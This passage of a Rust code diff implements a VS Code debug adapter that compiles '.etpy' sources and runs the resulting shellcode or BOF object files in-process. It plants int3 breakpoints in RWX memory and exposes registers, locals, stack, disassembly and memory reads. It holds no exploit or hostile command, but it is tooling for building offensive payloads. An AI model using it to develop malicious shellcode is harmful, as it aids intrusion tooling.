"console", + "output": format!("{rendered}\n"), + "line": line, + })); + send_continue(&shared_clone); + continue; + } + if let Some(cond) = meta.condition.as_deref() { + if !evaluate_truthy(cond, &shared_clone, line) { + send_continue(&shared_clone); + continue; + } + } + } + + let reason_str = match reason { + StopReason::Entry => "entry", + StopReason::Breakpoint => "breakpoint", + StopReason::Step => "step", + StopReason::Pause => "pause", + StopReason::Exception => "exception", + }; + let mut body = json!({ + "reason": reason_str, + "threadId": 1, + "allThreadsStopped": true, + "preserveFocusHint": false, + }); + if let Some(text) = description { + body["text"] = json!(text); + body["description"] = json!("debuggee fault"); + } + writer_clone.event("stopped", body); + } + Event::Output { text } => { + writer_clone.event("output", json!({ + "category": "console", + "output": format!("{text}\n"), + })); + } + Event::Exited { code } => { + writer_clone.event("exited", json!({ "exitCode": code })); + writer_clone.event("terminated", json!({})); + } + } + } + }); + let tracer_ev_tx = ev_tx_main; + + fn send_continue(shared: &SharedDap) { + if let Some(tx) = shared.cmd_tx.lock().unwrap().as_ref() { + let _ = tx.send(Cmd::Continue); + } + } + + loop { + let req = match read_message(&mut rdr) { + Ok(Some(v)) => v, + Ok(None) => return, + Err(e) => { eprintln!("dap: read error: {e}"); return; } + }; + let cmd = req["command"].as_str().unwrap_or("").to_string(); + match cmd.as_str() { + "initialize" => { + writer.reply_ok(&req, json!({ + "supportsConfigurationDoneRequest": true, + "supportsTerminateRequest": true, + "supportsRestartRequest": true, + "supportsBreakpointLocationsRequest": true, + "supportsSteppingGranularity": true, + "supportsDisassembleRequest": true, + "supportsReadMemoryRequest": true, + "supportsConditionalBreakpoints": true, + "supportsLogPoints": true, + "supportsEvaluateForHovers": true, + "supportsStepBack": false, + "supportsExceptionInfoRequest": false, + })); + writer.event("initialized", json!({})); + } + + "launch" | "attach" => { + let args = &req["arguments"]; + let program = args["program"].as_str() + .or_else(|| args["bin"].as_str()) + .map(String::from); + let Some(program) = program else { + writer.reply_err(&req, + "launch: `program` is required (path to a .etpy source, .bin, .x64.o, .obj, or .coff)"); + continue; + }; + let stop_on_entry = args["stopOnEntry"].as_bool().unwrap_or(true); + + // ---- Resolve source + artifact + mode ----------------- + // + // `program` accepts three shapes; all three converge on + // the same (source, artifact_path, mode) triple below: + // + // 1. `.etpy` - source mode. Sniff the file + // for `fn go(` vs `fn main(`, + // pick the build kind, ALWAYS + // rebuild (so the .obj/.bin + // on disk matches what the + // user sees in the editor), + // then debug the result. + // This is the recommended F5 + // flow - fully self-describing. + // + // 2. `.obj` / `.coff` - BOF artifact path. The + // sibling `.etpy` is the + // source; rebuild iff + // `build: true`. + // + // 3. anything else - shellcode artifact path + // (`.bin` or custom name). + // Same source-derivation rule. + // + // The auto-detect path means the package.json default + // `program: "${file}"` works without the user having to + // know which artifact kind their .etpy compiles to. + let force_build = args["build"].as_bool().unwrap_or(false); + let explicit_source = args["source"].as_str() + .filter(|s| !s.is_empty()).map(String::from); + + let resolved = match resolve_launch_target( + &program, explicit_source.as_deref(), force_build, + ) { + Ok(r) => r, + Err(e) => { + writer.reply_err(&req, &format!("launch: {e}")); + continue; + } + }; + let ResolvedTarget { source, bin_path, build_kind, should_build } = resolved; + + // ---- Compile when requested OR when source-mode ------- + // + // `.etpy` source mode forces a build every launch - the + // `.obj`/`.bin`/`.dbg` on disk may be stale, mismatched, + // or absent entirely. Avoiding the rebuild would mean + // F5 silently running last-week's binary. + if should_build { + let Some(ref source_path) = source else { + writer.reply_err(&req, + "build requested but no `.etpy` source found. \ + Either pass `program: \"path/to/source.etpy\"` or \ + add `source: \"path/to/source.etpy\"` to launch.json."); + continue; + }; + let entc = args["entc"].as_str() + .filter(|s| !s.is_empty()) + .map(String::from) + .or_else(|| find_entc(source_path)); + let Some(entc) = entc else { + writer.reply_err(&req, + "build needed but no entc compiler found. Set `entc` in \ + launch.json to the absolute path of entc.exe, or run \ + `cargo build -p entropykit` so target/{release,debug}/entc.exe \ + exists in a parent directory of your source."); + continue; + }; + let build_type: Option<&str> = match build_kind { + BuildMode::Bof => Some("bof"), + BuildMode::Coff => Some("coff"), + BuildMode::Standard => None, + }; + writer.event("output", json!({ + "category": "console", + "output": format!( + "[entc-debug] launching {source_path} as {} (artifact: {bin_path})\n", + match build_kind { + BuildMode::Bof => "BOF", + BuildMode::Coff => "COFF", + BuildMode::Standard => "shellcode", + } + ), + })); + match run_entc_compile(&entc, source_path, build_type) { + Ok(diag) => { + if !diag.is_empty() { + writer.event("output", json!({ + "category": "console", + "output": diag, + })); + } + } + Err(BuildErr { exit_code, stderr }) => { + // Stream compile diagnostics into the + // Debug Console as stderr so VS Code's + // problem-matcher styling kicks in. + writer.event("output", json!({ + "category": "stderr", + "output": stderr, + })); + writer.reply_err(&req, &format!( + "entc compile failed (exit {exit_code}). See Debug Console for details.")); + continue; + } + } + } + + // ---- Final artifact existence check ------------------- + // + // If we got here without building, the artifact must + // already exist; otherwise the next `fs::read` deep in + // the tracer would fail with an opaque message. Catch + // it now with a precise hint. + if !Path::new(&bin_path).exists() { + writer.reply_err(&req, &format!( + "artifact `{bin_path}` doesn't exist. \ + {} \ + If the source compiles to a different path, set `program` \ + to that path explicitly.", + if source.is_some() { + "Set `build: true` in launch.json to compile it from source." + } else { + "Pass a `.etpy` source as `program` (recommended) so the \ + debugger auto-builds, or compile it manually with `entc compile`." + } + )); + continue; + } + + // ---- Source map sidecar ------------------------------- + let dbg_path = match args["dbg"].as_str() { + Some(s) if !s.is_empty() => s.to_string(), + _ => default_dbg_for(&bin_path), + }; + + // ---- Pack BOF args (BOF mode only) -------------------- + let is_bof = matches!(build_kind, BuildMode::Bof | BuildMode::Coff); + let artifact = if is_bof { + let arg_tokens: Vec = args["args"].as_array() + .map(|arr| arr.iter() + .filter_map(|v| v.as_str().map(String::from)) + .collect()) + .unwrap_or_default(); + match bof_loader::args::parse_packed_args(&arg_tokens) { + Ok(packed) => ArtifactKind::Bof { args: packed }, + Err(e) => { + writer.reply_err(&req, &format!("`args`: {e}")); + continue; + } + } + } else { + ArtifactKind::Shellcode + }; + + match SourceMap::load(&dbg_path) { + Ok(map) => { + *srv.shared.map.lock().unwrap() = Some(map); + srv.pending_launch = Some(PendingLaunch { + bin_path, stop_on_entry, artifact, + }); + writer.reply_ok(&req, json!({})); + } + Err(e) => writer.reply_err(&req, &format!( + "load source map `{dbg_path}`: {e}. \ + Did the build emit a .dbg sidecar? \ + Set `build: true` in launch.json to force `entc compile --debug`." + )), + } + } + + "setBreakpoints" => { + let source_path = req["arguments"]["source"]["path"] + .as_str().unwrap_or("").to_string(); + let bp_args: Vec = req["arguments"]["breakpoints"] + .as_array().cloned().unwrap_or_default(); + + // Translate each requested bp INDIVIDUALLY, preserving + // the (bp_args, requested_lines, translation) alignment + // so the metadata indexing below stays correct even + // when some lines fall between .dbg entries. + let map_clone = srv.shared.map_clone(); + let translations: Vec> = bp_args.iter().map(|b| { + let line = b["line"].as_u64().map(|n| n as u32)?; + let map = map_clone.as_ref()?; + translate_one_bp(map, &source_path, line) + }).collect(); + + // Build (offsets, response rows, meta map) in lockstep. + let mut offsets: Vec = Vec::new(); + let mut bp_rows: Vec = Vec::with_capacity(bp_args.len()); + let mut meta = srv.shared.bp_meta.lock().unwrap(); + meta.clear(); + for (i, t) in translations.iter().enumerate() { + let raw = &bp_args[i]; + let req_line = raw["line"].as_u64().unwrap_or(0) as u32; + match t { + Some((off, mapped_line)) => { + offsets.push(*off); + // DAP lets the response report a different + // line from the request - VS Code snaps + // the gutter marker to where the bp + // actually landed. + bp_rows.push(json!({ + "verified": true, + "line": mapped_line, + })); + let condition = raw["condition"].as_str() + .filter(|s| !s.is_empty()).map(String::from); + let log_message = raw["logMessage"].as_str() + .filter(|s| !s.is_empty()).map(String::from); + if condition.is_some() || log_message.is_some() { + meta.insert(*off, BpMeta { condition, log_message }); + } + } + None => { + bp_rows.push(json!({ + "verified": false, + "line": req_line, + "message": "no .dbg entry at or after this line", + })); + } + } + } + drop(meta); + + srv.user_bps = offsets.clone(); + + // Apply the new set. If the tracer is already running, + // plant directly into RWX memory so changes take effect + // BEFORE the next stop. This is what makes "add a + // breakpoint while the program is running" actually + // work - previously we routed through Cmd::SetBreakpoints + // on a channel that the tracer only drains when parked, + // so a new bp would only fire if some OTHER bp already + // existed to park on. apply_breakpoints_live is a no-op + // when the tracer hasn't started yet, in which case the + // bps will get planted from `initial` in configurationDone. + tracer::apply_breakpoints_live(&offsets); + + writer.reply_ok(&req, json!({ "breakpoints": bp_rows })); + } + + "setExceptionBreakpoints" => { + writer.reply_ok(&req, json!({})); + } + + "configurationDone" => { + writer.reply_ok(&req, json!({})); + if let Some(pl) = srv.pending_launch.take() { + let mut initial = srv.user_bps.clone(); + let map_for_start = srv.shared.map_clone().expect("map loaded at launch"); + if pl.stop_on_entry { + if let Some(first) = map_for_start.entries.first() { + if !initial.contains(&first.offset) { + initial.push(first.offset); + } + } + } + let session = TracerSession::new(); + let result = match &pl.artifact { + ArtifactKind::Shellcode => start_tracer( + &pl.bin_path, map_for_start, initial, + session.clone(), tracer_ev_tx.clone(), + ), + ArtifactKind::Bof { args } => start_tracer_bof( + &pl.bin_path, map_for_start, initial, + session.clone(), tracer_ev_tx.clone(), + args.clone(), + ), + }; + match result { + Ok((cmd_tx, join)) => { + *srv.shared.cmd_tx.lock().unwrap() = Some(cmd_tx); + *srv.shared.session.lock().unwrap() = Some(session); + srv.tracer_join = Some(join); + writer.event("thread", json!({ + "reason": "started", + "threadId": 1, + })); + } + Err(e) => { + writer.event("output", json!({ + "category": "stderr", + "output": format!("entc-debug: {e}\n"), + })); + writer.event("terminated", json!({})); + } + } + } + } + + "threads" => { + writer.reply_ok(&req, json!({ + "threads": [{ "id": 1, "name": "shellcode" }] + })); + } + + "stackTrace" => { + let map = srv.shared.map_clone(); + let last = *srv.shared.last_stop.lock().unwrap(); + let body = match (map, last) { + (Some(map), Some((line, col))) => { + let abs = map.source_path.to_string_lossy().to_string(); + let name = map.source_path.file_name() + .map(|s| s.to_string_lossy().to_string()) + .unwrap_or_default(); + let rip = current_rip(&srv.shared.session_clone()).unwrap_or(0); + json!({ + "stackFrames": [{ + "id": 1, + "name": "shellcode", + "line": line, + "column": col, + "instructionPointerReference": format!("0x{rip:x}"), + "source": { "path": abs, "name": name } + }], + "totalFrames": 1 + }) + } + _ => json!({ "stackFrames": [], "totalFrames": 0 }), + }; + writer.reply_ok(&req, body); + } + + "scopes" => { + // Order matters - VS Code expands the first scope by + // default. Locals first so users see their named vars + // before having to drill into Registers. + writer.reply_ok(&req, json!({ + "scopes": [ + { + "name": "Locals", + "presentationHint": "locals", + "variablesReference": VARREF_LOCALS, + "expensive": false, + }, + { + "name": "Registers", + "presentationHint": "registers", + "variablesReference": VARREF_REGISTERS, + "expensive": false, + }, + { + "name": "Stack", + "variablesReference": VARREF_STACK, + "expensive": false, + } + ] + })); + } + + "variables" => { + let var_ref = req["arguments"]["variablesReference"].as_i64().unwrap_or(0); + let session = srv.shared.session_clone(); + let map = srv.shared.map_clone(); + let line = srv.shared.current_line(); + let vars = match var_ref { + VARREF_REGISTERS => build_registers(&session), + VARREF_STACK => build_stack(&session), + VARREF_LOCALS => build_locals(&session, &map, line), + _ => Vec::new(), + }; + writer.reply_ok(&req, json!({ "variables": vars })); + } + + "disassemble" => { + let session = srv.shared.session_clone(); + let body = handle_disassemble(&req, &session, &srv.shared.map_clone()); + writer.reply_ok(&req, body); + } + + "readMemory" => { + let session = srv.shared.session_clone(); + let (body, ok) = handle_read_memory(&req, &session); + if ok { + writer.reply_ok(&req, body); + } else { + writer.reply_err(&req, "readMemory: invalid memoryReference"); + } + } + + "evaluate" => { + let expr = req["arguments"]["expression"].as_str().unwrap_or("").to_string(); + let line = srv.shared.current_line(); + match evaluate(&expr, &srv.shared, line) { + Ok(v) => writer.reply_ok(&req, json!({ + "result": format_eval_value(&v), + "variablesReference": 0, + "memoryReference": match &v { + EvalValue::Int(n) => format!("0x{n:x}"), + _ => String::new(), + }, + })), + Err(e) => writer.reply_err(&req, &e), + } + } + + "continue" => { + if let Some(tx) = srv.shared.cmd_tx.lock().unwrap().as_ref() { + let _ = tx.send(Cmd::Continue); + } + writer.reply_ok(&req, json!({ "allThreadsContinued": true })); + } + "next" | "stepIn" | "stepOut" => { + let gran = req["arguments"]["granularity"].as_str().unwrap_or("statement"); + let cmd = if gran == "instruction" { Cmd::StepInstruction } else { Cmd::Next }; + if let Some(tx) = srv.shared.cmd_tx.lock().unwrap().as_ref() { + let _ = tx.send(cmd); + } + writer.reply_ok(&req, json!({})); + } + "pause" => { + let session = srv.shared.session_clone(); + let ok = match (session, &srv.tracer_join) { + (Some(s), Some(j)) => arm_pause(&s, j), + _ => false, + }; + if !ok { + writer.event("output", json!({ + "category": "console", + "output": "[entc-debug] pause: nothing to suspend\n", + })); + } + writer.reply_ok(&req, json!({})); + } + + "restart" => { + // VS Code's UI "Restart" button. We acknowledge the + // request and exit - the editor then invokes the + // adapter again from scratch, which is cleaner than + // teardown-and-respawn inside one process given the + // global VEH state and one-tracer-at-a-time invariant. + writer.reply_ok(&req, json!({})); + writer.event("terminated", json!({ "restart": true })); + std::process::exit(0); + } + + "disconnect" | "terminate" => { + // Acknowledge first so VS Code's UI unblocks, then + // exit the whole process. We deliberately do NOT + // try to "let the shellcode finish" - the previous + // behaviour (restore-and-continue) was why the + // MessageBox still popped up after the user clicked + // stop. Killing the adapter process tears down the + // tracer thread + shellcode + any blocking syscall + // (MessageBox, Sleep, RPC, ...) atomically. + writer.reply_ok(&req, json!({})); + writer.event("terminated", json!({})); + writer.event("exited", json!({ "exitCode": 0 })); + std::process::exit(0); + } + + _ => { writer.reply_ok(&req, json!({})); } + } + } +} + +// ============================================================================ +// Helpers. +// ============================================================================ + +fn default_dbg_for(bin: &str) -> String { + // Multi-segment extensions first so `foo.x64.o` resolves to `foo.dbg`, + // not `foo.x64.dbg`. + for ext in [".x64.o", ".x86.o", ".bin", ".obj", ".coff"] { + if let Some(stem) = bin.strip_suffix(ext) { + return format!("{stem}.dbg"); + } + } + format!("{bin}.dbg") +} + +fn start_tracer( + bin_path: &str, + map: SourceMap, + initial_bps: Vec, + session: Arc, + ev_tx: mpsc::Sender, +) -> Result<(mpsc::Sender, thread::JoinHandle<()>), String> { + let bin = fs::read(bin_path) + .map_err(|e| format!("read {bin_path}: {e}"))?; + let (cmd_tx, cmd_rx) = mpsc::channel::(); + let bin_clone = bin.clone(); + let map_clone = map.clone(); + let session_clone = session.clone(); + let join = thread::spawn(move || { + tracer::run(&bin_clone, map_clone, initial_bps, + session_clone, ev_tx, cmd_rx); + }); + let _ = session; // moved into spawn; explicit name keeps the read clear. + Ok((cmd_tx, join)) +} + +/// BOF flavour of `start_tracer`. Loads the `.obj` via `bof_loader` +/// (parsing, mapping, symbol resolution, relocations) and hands the +/// already-loaded artifact to `tracer::run_bof`. The tracer then +/// plants `int 3` at the debug-info offsets within `.text` and calls +/// `go(args, len)` with Win64 calling convention. +fn start_tracer_bof( + obj_path: &str, + map: SourceMap, + initial_bps: Vec, + session: Arc, + ev_tx: mpsc::Sender, + args: Vec, +) -> Result<(mpsc::Sender, thread::JoinHandle<()>), String> { + let coff_bytes = fs::read(obj_path) + .map_err(|e| format!("read {obj_path}: {e}"))?; + // Load NOW (on the DAP server thread) rather than inside the + // tracer thread, so any COFF parse / relocation error surfaces + // through the existing `Err` path and the user gets a clean + // launch failure instead of "debugger died." + let loaded = bof_loader::load::load(&coff_bytes)?; + let (cmd_tx, cmd_rx) = mpsc::channel::(); + let map_clone = map.clone(); + let session_clone = session.clone(); + let join = thread::spawn(move || { + tracer::run_bof(loaded, args, map_clone, initial_bps, + session_clone, ev_tx, cmd_rx); + }); + let _ = session; + Ok((cmd_tx, join)) +} + +/// Translate one breakpoint request to a planted-offset + the actual +/// source line we mapped it to (which may differ from the requested +/// line if the user clicked between .dbg entries). +/// +/// Strategy: +/// 1. Confirm the source file matches (canonical-path or +/// basename fallback). +/// 2. Exact line match to use that entry. +/// 3. Otherwise, snap FORWARD to the first entry whose line is +/// strictly greater. This matches what most debuggers do for +/// "you clicked the gutter on a line of whitespace / comment". +/// 4. If nothing past this line is mapped, give up - there's no +/// executable code we could trap on. +fn translate_one_bp(map: &SourceMap, source_path: &str, line: u32) -> Option<(usize, u32)> { + let want = std::fs::canonicalize(source_path).ok(); + let have = std::fs::canonicalize(&map.source_path).ok(); + let same_source = match (&want, &have) { + (Some(a), Some(b)) => a == b, + _ => map.source_path.file_name() == Path::new(source_path).file_name(), + }; + if !same_source { return None; } + + if let Some(e) = map.entries.iter().find(|e| e.line == line) { + return Some((e.offset, e.line)); + } + // Snap forward to the entry with the SMALLEST line strictly + // greater than the requested one - NOT the first entry in + // offset order with `line > requested`. `entries` is sorted by + // offset, so a naïve `find(|e| e.line > requested)` can pick + // an entry from a different function whose offset happens to + // come earlier in the file. Comparing on `e.line` gives us the + // "next executable line BELOW where you clicked" the user + // expects. + map.entries.iter() + .filter(|e| e.line > line) + .min_by_key(|e| e.line) + .map(|e| (e.offset, e.line)) +} + +fn current_rip(session: &Option>) -> Option { + session.as_ref().and_then(|s| s.regs()).map(|r| r.rip) +} + +// ---------------------------------------------------------------- variables + +/// One row in the Registers scope. The `memoryReference` field is set +/// to the value formatted as hex so the user can right-click to "View +/// Binary Data" / open the Memory view at the address held by that +/// register. +fn reg(name: &str, value: u64) -> Value { + json!({ + "name": name, + "value": format!("0x{value:016x} ({value})"), + "type": "u64", + "variablesReference": 0, + "memoryReference": format!("0x{value:x}"), + }) +} + +fn build_registers(session: &Option>) -> Vec { + let r = match session.as_ref().and_then(|s| s.regs()) { + Some(r) => r, + None => return vec![], + }; + let f = r.rflags; + // RFLAGS bit positions (Intel SDM Vol 1 §3.4.3). + let bit = |pos: u32, name: &str| -> Value { + json!({ + "name": name, + "value": if (f >> pos) & 1 == 1 { "1" } else { "0" }, + "type": "flag", + "variablesReference": 0, + }) + }; + vec![ + reg("RIP", r.rip), + reg("RFLAGS", r.rflags), + // Single-bit flag rows. Cheap, and once you've debugged a + // conditional jump that didn't go where you expected, having + // ZF/CF/SF inline saves you bit-twiddling RFLAGS in your head. + bit(0, "CF"), bit(2, "PF"), bit(4, "AF"), bit(6, "ZF"), + bit(7, "SF"), bit(10, "DF"), bit(11, "OF"), + reg("RAX", r.rax), reg("RBX", r.rbx), reg("RCX", r.rcx), reg("RDX", r.rdx), + reg("RSI", r.rsi), reg("RDI", r.rdi), + reg("RBP", r.rbp), reg("RSP", r.rsp), + reg("R8", r.r8), reg("R9", r.r9), reg("R10", r.r10), reg("R11", r.r11), + reg("R12", r.r12), reg("R13", r.r13), reg("R14", r.r14), reg("R15", r.r15), + ] +} + +/// The "Locals" scope: named variables in scope at the current line, +/// resolved through the .dbg's variables section. For each variable +/// we compute its current address from the registers + textual loc +/// expression (`rbp-0x8`, `rax`, ...), then read the underlying +/// qword. Types currently rendered hex/dec like other variables; +/// future work could format `int`/`bool`/`str` differently. +fn build_locals( + session: &Option>, + map: &Option, + line: u32, +) -> Vec { + let (regs, map) = match (session.as_ref().and_then(|s| s.regs()), map.as_ref()) { + (Some(r), Some(m)) => (r, m), + _ => return Vec::new(), + }; + let mut out = Vec::new(); + // When the stop has no source mapping (line == 0 - e.g. after a + // pause that landed mid-statement, or an instruction-step between + // .dbg entries), don't hide every local. The user is still + // somewhere inside a function; show ALL declared locals so they + // can see register-derived values rather than an empty panel. + let scoped: Vec<_> = if line == 0 { + map.vars.iter().collect() + } else { + map.vars_in_scope(line) + }; + for v in scoped { + let addr = match resolve_var_address(&v.loc, ®s) { + Some(a) => a, + None => { + out.push(json!({ + "name": v.name, + "value": format!("", v.loc), + "type": v.ty, + "variablesReference": 0, + })); + continue; + } + }; + // The location may itself BE a register (no memory read needed): + // `loc` like `rax` should report rax's value directly. + if let Some(direct) = direct_register_value(&v.loc, ®s) { + out.push(json!({ + "name": v.name, + "value": format_typed_value(direct, &v.ty), + "type": v.ty, + "variablesReference": 0, + "memoryReference": format!("0x{:x}", direct), + })); + continue; + } + let mut buf = [0u8; 8]; + let n = unsafe { try_read_bytes(addr, &mut buf) }; + let value_str = if n == 8 { + format_typed_value(u64::from_le_bytes(buf), &v.ty) + } else { + "".to_string() + }; + out.push(json!({ + "name": v.name, + "value": value_str, + "type": v.ty, + "variablesReference": 0, + "memoryReference": format!("0x{:x}", addr), + })); + } + out +} + +/// Parse a location expression into the absolute address of the +/// variable's storage. Supported shapes: +/// - `rbp-0x8`, `rbp+0x10`, `rsp-0x4` (general `reg±hex`) +/// - `rip+0x...` (rip-relative - globals) +/// Returns None for register-only locations (caller should use +/// `direct_register_value`) and for malformed expressions. +fn resolve_var_address(loc: &str, regs: &crate::tracer::RegSnapshot) -> Option { + let s = loc.trim().to_ascii_lowercase(); + // Split on the FIRST + or - (after the register name). + let split = s.find(|c| c == '+' || c == '-')?; + let (reg, rest) = s.split_at(split); + let sign: i64 = if rest.starts_with('-') { -1 } else { 1 }; + let raw = &rest[1..]; + let raw = raw.strip_prefix("0x").or_else(|| raw.strip_prefix("0X")).unwrap_or(raw); + let mag = i64::from_str_radix(raw, 16).ok()?; + let base = register_by_name(reg.trim(), regs)?; + Some((base as i64 + sign * mag) as usize) +} + +fn direct_register_value(loc: &str, regs: &crate::tracer::RegSnapshot) -> Option { + let s = loc.trim().to_ascii_lowercase(); + if s.contains('+') || s.contains('-') { return None; } + register_by_name(&s, regs) +} + +fn register_by_name(name: &str, r: &crate::tracer::RegSnapshot) -> Option { + match name { + "rax" => Some(r.rax), "rbx" => Some(r.rbx), "rcx" => Some(r.rcx), "rdx" => Some(r.rdx), + "rsi" => Some(r.rsi), "rdi" => Some(r.rdi), "rbp" => Some(r.rbp), "rsp" => Some(r.rsp), + "r8" => Some(r.r8), "r9" => Some(r.r9), "r10" => Some(r.r10), "r11" => Some(r.r11), + "r12" => Some(r.r12), "r13" => Some(r.r13), "r14" => Some(r.r14), "r15" => Some(r.r15), + "rip" => Some(r.rip), "rflags" => Some(r.rflags), + _ => None, + } +} + +/// Render a u64 according to a (very loose) source type. `int`/`u32`/ +/// etc. land as `0xhex (decimal)`. `bool` collapses to true/false. +/// `str` is shown as the pointer (we'd need to read the heap to +/// dereference, which we'll add when strings become real). +fn format_typed_value(v: u64, ty: &str) -> String { + match ty { + "bool" => if v != 0 { "true".into() } else { "false".into() }, + "i32" | "int" => { + let signed = v as i64 as i32; + format!("{signed} (0x{:x})", v & 0xffff_ffff) + } + "u32" => format!("{} (0x{:x})", v as u32, v & 0xffff_ffff), + "i64" => format!("{} (0x{:x})", v as i64, v), + _ => format!("0x{:016x} ({})", v, v as i64), + } +} + +/// The "Stack" scope: sixteen qwords starting at RSP. Each row reads +/// the qword inline and exposes its address as a memoryReference so +/// the user can drill in further. +fn build_stack(session: &Option>) -> Vec { + let r = match session.as_ref().and_then(|s| s.regs()) { + Some(r) => r, + None => return vec![], + }; + let mut out = Vec::with_capacity(16); + for i in 0..16u64 { + let addr = r.rsp + i * 8; + let mut buf = [0u8; 8]; + let read = unsafe { try_read_bytes(addr as usize, &mut buf) }; + let value_str = if read == 8 { + let qword = u64::from_le_bytes(buf); + format!("0x{qword:016x} ({qword})") + } else { + "".to_string() + }; + out.push(json!({ + "name": format!("[rsp+0x{:02x}]", i * 8), + "value": value_str, + "type": "qword", + "variablesReference": 0, + "memoryReference": format!("0x{:x}", addr), + })); + } + out +} + +// ---------------------------------------------------------------- disasm + +fn handle_disassemble( + req: &Value, + session: &Option>, + map: &Option, +) -> Value { + use iced_x86::{Decoder, DecoderOptions, Formatter, Instruction, IntelFormatter}; + + let args = &req["arguments"]; + let mem_ref = args["memoryReference"].as_str().unwrap_or("0"); + let byte_offset = args["offset"].as_i64().unwrap_or(0); + let instr_offset = args["instructionOffset"].as_i64().unwrap_or(0); + let count = args["instructionCount"].as_i64().unwrap_or(32).max(1) as usize; + let resolve_syms = args["resolveSymbols"].as_bool().unwrap_or(false); + let _ = resolve_syms; + + let base_addr = parse_hex_address(mem_ref).unwrap_or(0); + let start_addr = (base_addr as i64).wrapping_add(byte_offset) as u64; + + // We can only safely disassemble bytes we OWN - the shellcode + // region. If the requested range straddles the shellcode boundary, + // we trim it and report invalid instructions for the rest so VS + // Code's Disassembly View still aligns. + let (region_base, region_size) = match session.as_ref() { + Some(s) => (s.base() as u64, s.size() as u64), + None => (0, 0), + }; + + // Decode forward from start_addr; if instruction_offset is + // non-zero we walk backward/forward in instructions using a + // simple heuristic (re-decode from an aligned anchor). + let bytes = if start_addr >= region_base && start_addr < region_base + region_size { + let lo = (start_addr - region_base) as usize; + let mut hi = lo + 16 * count + 16; + if hi > region_size as usize { hi = region_size as usize; } + let mut v = vec![0u8; hi - lo]; + unsafe { + std::ptr::copy_nonoverlapping( + (region_base as usize + lo) as *const u8, + v.as_mut_ptr(), + hi - lo, + ); + } + // Overlay the original byte for any planted breakpoint inside + // this slice - otherwise the user sees `cc int3` instead of + // the instruction they set the breakpoint on. + if let Some(s) = session.as_ref() { + for (off, orig) in s.planted.lock().unwrap().iter() { + if *off >= lo && *off < hi { + v[*off - lo] = *orig; + } + } + } + v + } else { + // Outside our shellcode: try a guarded process-memory read. + let mut v = vec![0u8; 16 * count]; + let n = unsafe { try_read_bytes(start_addr as usize, &mut v) }; + v.truncate(n); + v + }; + + let mut decoder = Decoder::with_ip(64, &bytes, start_addr, DecoderOptions::NONE); + let mut formatter = IntelFormatter::new(); + formatter.options_mut().set_first_operand_char_index(8); + let mut instr = Instruction::default(); + let mut out_text = String::new(); + let mut decoded: Vec = Vec::with_capacity(count); + + // Skip forward `instr_offset` instructions if positive; for + // negative we can't safely walk backward without a fuller cache, + // so we just clamp to zero (Disassembly View still works - it'll + // show the requested address as the topmost line). + let mut skip = instr_offset.max(0); + while skip > 0 && decoder.can_decode() { + decoder.decode_out(&mut instr); + skip -= 1; + } + + while decoder.can_decode() && decoded.len() < count { + decoder.decode_out(&mut instr); + out_text.clear(); + formatter.format(&instr, &mut out_text); + + // Slice the raw bytes of this instruction. + let start_off = (instr.ip() - start_addr) as usize; + let end_off = start_off + instr.len(); + let raw = bytes.get(start_off..end_off) + .map(|b| b.iter() + .map(|x| format!("{:02x}", x)) + .collect::>() + .join(" ")) + .unwrap_or_default(); + + // Source mapping - attach (line, col, source) per row when we + // can. VS Code's Disassembly View then interleaves the source + // text between asm rows. Only the FIRST instruction at each + // source-line offset gets the location attached; rows that + // fall between source statements stay unannotated, which is + // what produces the inline-source layout. + let mut row = json!({ + "address": format!("0x{:x}", instr.ip()), + "instructionBytes": raw, + "instruction": out_text.clone(), + }); + if let Some(map) = map.as_ref() { + if instr.ip() >= region_base && instr.ip() < region_base + region_size { + let off = (instr.ip() - region_base) as usize; + if let Some(entry) = map.at(off) { + let abs = map.source_path.to_string_lossy().to_string(); + let name = map.source_path.file_name() + .map(|s| s.to_string_lossy().to_string()) + .unwrap_or_default(); + row["line"] = json!(entry.line); + row["column"] = json!(entry.col); + row["location"] = json!({ "path": abs, "name": name }); + } + } + } + decoded.push(row); + } + + // Pad with synthetic "??" rows if we got fewer instructions than + // requested; the Disassembly View expects exactly `count` rows. + while decoded.len() < count { + let addr = start_addr.wrapping_add((decoded.len() * 1) as u64); + decoded.push(json!({ + "address": format!("0x{:x}", addr), + "instructionBytes": "", + "instruction": "??", + })); + } + + json!({ "instructions": decoded }) +} + +fn parse_hex_address(s: &str) -> Option { + let t = s.trim(); + let t = t.strip_prefix("0x").or_else(|| t.strip_prefix("0X")).unwrap_or(t); + u64::from_str_radix(t, 16).ok() +} + +// ---------------------------------------------------------------- readMemory + +fn handle_read_memory(req: &Value, session: &Option>) -> (Value, bool) { + let args = &req["arguments"]; + let mem_ref = args["memoryReference"].as_str().unwrap_or(""); + let offset = args["offset"].as_i64().unwrap_or(0); + let count = args["count"].as_i64().unwrap_or(0).max(0) as usize; + let base = match parse_hex_address(mem_ref) { + Some(a) => a, + None => return (json!({}), false), + }; + let addr = (base as i64).wrapping_add(offset) as usize; + + let mut buf = vec![0u8; count]; + let read = unsafe { try_read_bytes(addr, &mut buf) }; + + // Overlay planted-bp originals when the read window intersects + // the shellcode region - matches the disassemble behaviour so the + // Hex Editor doesn't display our `0xCC` traps. + if let Some(s) = session.as_ref() { + let region_base = s.base(); + let region_end = region_base + s.size(); + if region_base != 0 && addr < region_end && addr + read > region_base { + for (off, orig) in s.planted.lock().unwrap().iter() { + let bp_addr = region_base + *off; + if bp_addr >= addr && bp_addr < addr + read { + buf[bp_addr - addr] = *orig; + } + } + } + } + + let data_b64 = base64_encode(&buf[..read]); + let body = json!({ + "address": format!("0x{:x}", addr), + "data": data_b64, + "unreadableBytes": (count - read) as i64, + }); + (body, true) +} + +// ---------------------------------------------------------------- evaluate +// +// A tiny expression evaluator powering three DAP features: +// +// * `evaluate` (Watch / hover / Debug Console) +// * breakpoint condition ("only stop when this is true") +// * logpoint placeholders ("{expr} resolves on hit") +// +// Grammar (precedence low to high): +// +// cmp := add (( "==" | "!=" | "<" | ">" | "<=" | ">=" ) add)? +// add := unary (("+" | "-") unary)* +// unary := "-"? primary +// primary := integer | name | "[" cmp "]" | "(" cmp ")" +// +// `name` resolves first as a local-in-scope (via SourceMap.vars), then +// as a register. `[expr]` reads 8 bytes at `expr` and treats them as a +// little-endian u64. +// +// Returns are tagged: integer results vs. byte slices (future: +// strings). For now everything collapses to i64 - sufficient for +// `i == 3`, `rax > 0`, `[rbp-8] != 0`, `i+1`. + +#[derive(Debug, Clone)] +enum EvalValue { Int(i64), Bytes(Vec) } + +fn evaluate(expr: &str, shared: &SharedDap, line: u32) -> Result { + let regs = match shared.session_clone().and_then(|s| s.regs()) { + 